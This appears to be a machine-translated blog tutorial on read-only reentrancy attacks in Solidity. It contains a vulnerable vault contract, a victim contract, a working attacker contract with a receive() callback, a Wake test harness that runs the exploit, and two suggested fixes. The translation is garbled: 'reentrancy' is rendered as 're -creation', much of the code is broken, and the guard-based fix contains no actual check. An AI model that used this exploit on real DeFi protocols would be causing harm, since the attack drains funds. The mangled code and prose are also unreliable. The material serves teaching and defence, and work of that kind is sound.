Read -only re -creation attacks use view functions and re -creations to manipulate smart contracts and extract values. The view function returns the value in the middle of the status change so that the attacker can manipulate the token price. Let’s take a closer look at these vulnerabilities and prevention methods.
Other re -creation attacks include:
This re -entry example blog describes the attack on the general function. However, in the read -only re -creation attack, the vulnerability is in the view function.
In this attack, the victim contract depends on the point of view of the vulnerable contract and determines the price according to the corresponding point of view.
This is an example of a vulnerable contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract VulnVault is ReentrancyGuard
uint256 private totalTokens;
uint256 private totalStake;
mapping (address => uint256) public balances;
error ReadonlyReentrancy();
function getCurrentPrice() public view returns (uint256)
if(totalTokens == 0
function deposit() public payable nonReentrant
uint256 mintAmount = msg.value * getCurrentPrice() / 10e18;
totalStake += msg.value;
balances(msg.sender) += mintAmount;
totalTokens += mintAmount;
function withdraw(uint256 burnAmount) public nonReentrant
uint256 sendAmount = burnAmount * 10e18 / getCurrentPrice();
totalStake -= sendAmount;
balances(msg.sender) -= burnAmount;
(bool success, ) = msg.sender.callvalue: sendAmount("");
require(success, "Failed to send Ether");
totalTokens -= burnAmount;
We already have nonReentrant Modify on all public non -view functions. Prevents re -creation attacks within this contract. In addition, we check the value before writing after the external call to prevent re -creation. burnAmount. This is impossible to re -creation within this agreement.
But if getCurrentPrice The function is called from the external withdrawal call. getCurrentPrice The function returns another value. From that moment totalTokens The value is different from the actual and this is a problem. Also, in case getCurrentPrice Functions are called during external calls withdrawYou can return other values. It occurs because this inconsistency occurs totalTokens At that moment, the value is not accurate, which causes potential problems.
When the pool works similarly getCurrentPrice The function, the function can return the value higher than the actual price. This is a problem.
This is a victim contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./VulnVault.sol";
contract VictimVault is ReentrancyGuard
VulnVault vulnVault;
mapping (address => uint256) public balances;
constructor(address vulnVaultAddress)
vulnVault = VulnVault(vulnVaultAddress);
function deposit() public payable nonReentrant
uint256 tokenAmount = msg.value * vulnVault.getCurrentPrice() / 10e18;
balances(msg.sender) += tokenAmount;
function withdraw(uint256 tokenAmount) public nonReentrant
balances(msg.sender) -= tokenAmount;
uint256 ethAmount = tokenAmount * 10e18 / vulnVault.getCurrentPrice();
(bool success, ) = msg.sender.callvalue: ethAmount("");
require(success, "Failed to send Ether");
that ethAmount I rely on it vulnVault.getCurrentPrice at withdraw function.
likewise deposit Function tokenAmount I rely on it vulnVault.getCurrentPrice.
so vulnVault.getCurrentPrice It is different from the actual value, so the attacker can benefit.
Examples of read -only re -creation attack
If we do the following:
- call
VulnVault.withdraw. - Call in an external call
VictimVault.depositfunction
that vulnVault.getCurrentPrice Returns the wrong value and is larger than the actual value. totalTokens It has not been updated yet. Because it is an internal calculation getCurrentPrice It is calculated totalTokens * 10e18 / totalStakeMolecules have a greater value.
Therefore, by calling VictimVault.deposit In the external currency, the attacker can benefit.
Attacker
This is an attack contract.
// SPDX-License-Identifier: None
pragma solidity 0.8.20;
import "./VictimVault.sol";
import "./VulnVault.sol";
contract Attacker
VulnVault public vulnVault;
VictimVault public victimVault;
uint256 public counter;
constructor(address vulnerable_pool, address victim_pool) payable
vulnVault = VulnVault(vulnerable_pool);
victimVault = VictimVault(victim_pool);
counter = 0;
function attack() public
vulnVault.depositvalue: 1e18();
vulnVault.withdraw(1e18);
uint256 balance = victimVault.balances(address(this));
victimVault.withdraw(balance);
receive() external payable
if(counter == 0)
counter++;
victimVault.depositvalue: 1e18();
Abuse of read -only re -creation attacks
from wake.testing import *
from pytypes.contracts.readonlyreentrancy.VictimVault import VictimVault
from pytypes.contracts.readonlyreentrancy.VulnVault import VulnVault
from pytypes.contracts.readonlyreentrancy.Attacker import Attacker
@default_chain.connect()
def test_default():
print("---------------------Read Only Reentrancy---------------------")
vuln_pool = VulnVault.deploy()
victim_pool = VictimVault.deploy(vuln_pool.address)
vuln_pool.deposit(value="10 ether", from_=default_chain.accounts(2)) # general user
victim_pool.deposit(value="10 ether", from_=default_chain.accounts(2)) # general user
attacker = Attacker.deploy(vuln_pool.address, victim_pool.address,value="1 ether", from_=default_chain.accounts(0))
print("Vault balance: ", victim_pool.balance)
print("Attacker balance: ", attacker.balance)
print("---------------------attack---------------------")
tx = attacker.attack()
print(tx.call_trace)
print("Vault balance: ", victim_pool.balance)
print("Attacker balance: ", attacker.balance)This is the output of Wake, our Ether Leeum test framework. You can see that the vault balance has been changed from 10 ETH to 9.9 ETH. The attacker’s balance has been changed from 1 ETH to 1.1 ETH.
How to prevent read -only re -creation attacks?
Use REENTRANTRANCYGUARD
Simple re -creation guards alone cannot prevent this attack. However, setting up additional inspections with ReEntrology Guard can effectively prevent this type of attack.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract VulnVault is ReentrancyGuard
uint256 private totalTokens;
uint256 private totalStake;
mapping (address => uint256) public balances;
error ReadonlyReentrancy();
function getCurrentPrice() public view returns (uint256) totalStake == 0) return 10e18;
return totalTokens * 10e18 / totalStake;
function deposit() public payable nonReentrant
uint256 mintAmount = msg.value * getCurrentPrice() / 10e18;
totalStake += msg.value;
balances(msg.sender) += mintAmount;
totalTokens += mintAmount;
function withdraw(uint256 burnAmount) public nonReentrant
uint256 sendAmount = burnAmount * 10e18 / getCurrentPrice();
totalStake -= sendAmount;
balances(msg.sender) -= burnAmount;
(bool success, ) = msg.sender.callvalue: sendAmount("");
require(success, "Failed to send Ether");
totalTokens -= burnAmount;
CEI (Checks-Effects-Interactions)
This prevention solves the cause of vulnerability because it changes the necessary status before the external call. Therefore, it returns a reliable value even if it is recursive, including the view function.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract VulnVault is ReentrancyGuard
uint256 private totalTokens;
uint256 private totalStake;
mapping (address => uint256) public balances;
error ReadonlyReentrancy();
function getCurrentPrice() public view returns (uint256)
if(totalTokens == 0
function deposit() public payable nonReentrant
uint256 mintAmount = msg.value * getCurrentPrice() / 10e18;
totalStake += msg.value;
balances(msg.sender) += mintAmount;
totalTokens += mintAmount;
function withdraw(uint256 burnAmount) public nonReentrant
uint256 sendAmount = burnAmount * 10e18 / getCurrentPrice();
totalStake -= sendAmount;
balances(msg.sender) -= burnAmount;
totalTokens -= burnAmount;
(bool success, ) = msg.sender.callvalue: sendAmount("");
require(success, "Failed to send Ether");
conclusion
This is an example of a re -creation attack for reading. The vulnerability is trivial in this contract. But in real projects, these vulnerabilities are often hidden in more subtle, complex and complex contract interactions and main management. Understanding this attack vector allows you to identify similar patterns in more sophisticated Defi protocols that can lead to a significant financial loss of the price oracle or old state readings.
We have an attack example, protocol-specific reinvestigation and prevention methods, with some different types of re-creation attacks, with Reentriction Examples GitHub Repository. To learn how to protect the protocol, read below.
